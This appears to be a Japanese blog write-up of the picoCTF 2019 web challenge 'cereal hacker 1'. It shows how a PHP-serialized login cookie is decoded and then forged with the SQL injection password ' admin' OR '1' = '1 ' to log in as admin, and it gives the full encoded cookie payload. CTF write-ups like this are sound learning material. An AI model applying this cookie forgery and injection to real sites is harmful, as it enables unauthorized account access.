はまやんはまやんはまやん

hamayanhamayan's blog

cereal hacker 1 [picoCTF 2019 Web 450]

https://ctftime.org/task/9493

前提知識

  • SQLi

解説

guest:guestで実はログインできる。
クッキーに謎の文字列があるので、2回URLデコードをしてbase64decodeすると、それっぽいものが出てくる。
adminでログインしたいので、usernameをadminにして、base64encode,2回URLエンコードして入れたがクッキー毎消されてしまった。
passwordもクッキー内に生で保存されているので、再度検証しているのだろう。

実はその検証にSQLi脆弱性がある。
usernameをadminにして、passwordを'=''or'にするとフラグが出てくる。

O:11:"permissions":2:{s:8:"username";s:5:"admin";s:8:"password";s:18:"admin' OR '1' = '1";}
これをデコードして
TzoxMToicGVybWlzc2lvbnMiOjI6e3M6ODoidXNlcm5hbWUiO3M6NToiYWRtaW4iO3M6ODoicGFzc3dvcmQiO3M6MTg6ImFkbWluJyBPUiAnMScgPSAnMSI7fQ%253D%253D
こうして、クッキーに入れる。

実験として' OR 1 --をパスワードに入れたら失敗した。
後半を消すとうまく行かないらしい。